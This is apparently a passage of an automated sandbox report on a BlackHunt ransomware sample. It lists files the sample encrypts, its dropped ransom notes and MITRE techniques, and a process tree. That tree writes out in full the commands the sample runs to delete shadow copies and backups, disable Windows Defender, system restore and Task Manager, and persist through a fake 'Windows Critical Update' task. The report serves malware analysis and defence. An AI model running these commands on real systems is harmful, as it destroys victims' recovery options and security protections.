File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-modules-options-keymap.xml_hidden	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Belem	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\#BlackHunt_ReadMe.hta	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\7-Zip\Lang\co.txt	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.nl_ja_4.4.0.v20140623020002.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\AST4	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_INTRO_BG.wmv	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightDemiBold.ttf	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_CopyDrop32x32.gif	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\feature.xml	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\ECLIPSE_.SF	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.intro.nl_zh_4.4.0.v20140623020002.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\ExportAssert.vssx	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Moscow	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\access-bridge-64.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\#BlackHunt_ReadMe.hta	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annots.api	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ar.txt	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\#BlackHunt_ReadMe.txt	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\#BlackHunt_Private.key	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\epl-v10.html	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator.nl_ja_4.4.0.v20140623020002.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Enderbury	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-search_zh_CN.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\#BlackHunt_ReadMe.hta	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sa_zh_CN.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_Private.key	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#BlackHunt_Private.key	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_out\#BlackHunt_Private.key	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Bermuda	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_de_DE.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#BlackHunt_ReadMe.hta	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-progress_ja.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#BlackHunt_ReadMe.hta	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\#BlackHunt_ReadMe.hta	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-highlight.png	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Perf_Scenes_Mask1.png	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-dialogs_zh_CN.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Whitehorse	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\oracle.gif	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Ushuaia	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\appletrailers.luac	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2888	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3048	vssadmin.exe
2996	vssadmin.exe
1516	vssadmin.exe
804	vssadmin.exe
1140	vssadmin.exe
3044	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1520	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3688	PING.EXE

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
Token: SeRestorePrivilege	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
Token: SeBackupPrivilege	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
Token: SeTakeOwnershipPrivilege	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
Token: SeAuditPrivilege	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
Token: SeSecurityPrivilege	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
Token: SeIncBasePriorityPrivilege	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
Token: SeBackupPrivilege	3680	vssvc.exe
Token: SeRestorePrivilege	3680	vssvc.exe
Token: SeAuditPrivilege	3680	vssvc.exe
Token: SeBackupPrivilege	4016	wbengine.exe
Token: SeRestorePrivilege	4016	wbengine.exe
Token: SeSecurityPrivilege	4016	wbengine.exe
Token: SeSecurityPrivilege	3228	wevtutil.exe
Token: SeBackupPrivilege	3228	wevtutil.exe
Token: SeSecurityPrivilege	3996	wevtutil.exe
Token: SeBackupPrivilege	3996	wevtutil.exe
Token: SeSecurityPrivilege	4008	wevtutil.exe
Token: SeBackupPrivilege	4008	wevtutil.exe
Token: SeSecurityPrivilege	4076	wevtutil.exe
Token: SeBackupPrivilege	4076	wevtutil.exe
Token: SeSecurityPrivilege	3976	wevtutil.exe
Token: SeBackupPrivilege	3976	wevtutil.exe
Token: SeDebugPrivilege	1520	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 2220	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	154
PID 3036 wrote to memory of 2220	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	154
PID 3036 wrote to memory of 2220	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	154
PID 3036 wrote to memory of 2220	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	154
PID 3036 wrote to memory of 2960	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	29
PID 3036 wrote to memory of 2960	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	29
PID 3036 wrote to memory of 2960	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	29
PID 3036 wrote to memory of 2960	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	29
PID 2220 wrote to memory of 2140	2220	cmd.exe	151
PID 2220 wrote to memory of 2140	2220	cmd.exe	151
PID 2220 wrote to memory of 2140	2220	cmd.exe	151
PID 3036 wrote to memory of 2252	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	150
PID 3036 wrote to memory of 2252	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	150
PID 3036 wrote to memory of 2252	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	150
PID 3036 wrote to memory of 2252	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	150
PID 2960 wrote to memory of 2060	2960	cmd.exe	148
PID 2960 wrote to memory of 2060	2960	cmd.exe	148
PID 2960 wrote to memory of 2060	2960	cmd.exe	148
PID 3036 wrote to memory of 2772	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	147
PID 3036 wrote to memory of 2772	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	147
PID 3036 wrote to memory of 2772	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	147
PID 3036 wrote to memory of 2772	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	147
PID 3036 wrote to memory of 2788	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	146
PID 3036 wrote to memory of 2788	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	146
PID 3036 wrote to memory of 2788	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	146
PID 3036 wrote to memory of 2788	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	146
PID 3036 wrote to memory of 2984	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	144
PID 3036 wrote to memory of 2984	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	144
PID 3036 wrote to memory of 2984	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	144
PID 3036 wrote to memory of 2984	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	144
PID 3036 wrote to memory of 2856	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	32
PID 3036 wrote to memory of 2856	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	32
PID 3036 wrote to memory of 2856	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	32
PID 3036 wrote to memory of 2856	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	32
PID 3036 wrote to memory of 2592	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	143
PID 3036 wrote to memory of 2592	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	143
PID 3036 wrote to memory of 2592	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	143
PID 3036 wrote to memory of 2592	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	143
PID 2252 wrote to memory of 2852	2252	cmd.exe	141
PID 2252 wrote to memory of 2852	2252	cmd.exe	141
PID 2252 wrote to memory of 2852	2252	cmd.exe	141
PID 3036 wrote to memory of 2872	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	57
PID 3036 wrote to memory of 2872	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	57
PID 3036 wrote to memory of 2872	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	57
PID 3036 wrote to memory of 2872	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	57
PID 3036 wrote to memory of 2068	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	139
PID 3036 wrote to memory of 2068	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	139
PID 3036 wrote to memory of 2068	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	139
PID 3036 wrote to memory of 2068	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	139
PID 2788 wrote to memory of 2612	2788	cmd.exe	138
PID 2788 wrote to memory of 2612	2788	cmd.exe	138
PID 2788 wrote to memory of 2612	2788	cmd.exe	138
PID 3036 wrote to memory of 2824	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	137
PID 3036 wrote to memory of 2824	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	137
PID 3036 wrote to memory of 2824	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	137
PID 3036 wrote to memory of 2824	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	137
PID 3036 wrote to memory of 2644	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	136
PID 3036 wrote to memory of 2644	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	136
PID 3036 wrote to memory of 2644	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	136
PID 3036 wrote to memory of 2644	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	136
PID 2772 wrote to memory of 2604	2772	cmd.exe	133
PID 2772 wrote to memory of 2604	2772	cmd.exe	133
PID 2772 wrote to memory of 2604	2772	cmd.exe	133
PID 3036 wrote to memory of 2632	3036	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe	37

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
"C:\Users\Admin\AppData\Local\Temp\53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2084
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2052
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:336
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:324
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe" /F
  2⤵
  PID:1552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
